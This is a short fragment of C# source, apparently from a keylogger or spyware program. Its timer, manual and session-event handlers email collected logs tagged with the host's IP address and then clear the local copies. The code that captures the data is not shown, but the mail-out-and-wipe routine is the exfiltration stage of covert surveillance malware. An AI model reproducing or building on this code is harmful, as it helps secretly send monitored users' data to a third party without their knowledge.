private static void Main_Elapsed(object sender, System.Timers.ElapsedEventArgs e) { if (GlobalVariables.GlobalVariables.MainData.Length == 0) { return; } if (GlobalVariables.GlobalVariables.HostIp == string.Empty) { HostInfo.HostInfo.GetIp(); } SharedMethods.SendMail(string.Format(SharedMethods.GetMailSubject(), " - Logs of ### ")); SharedMethods.ClearLogs(); }
internal static void SendLogs() { SharedMethods.SendMail(string.Format(SharedMethods.GetMailSubject(), " - Logs of ### ")); SharedMethods.ClearLogs(); }
private static void EventHandling(string sessionevent) { SharedMethods.SendMail(string.Format(SharedMethods.GetMailSubject(), " - ## " + sessionevent + " ## - Logs of ### ")); SharedMethods.ClearLogs(); }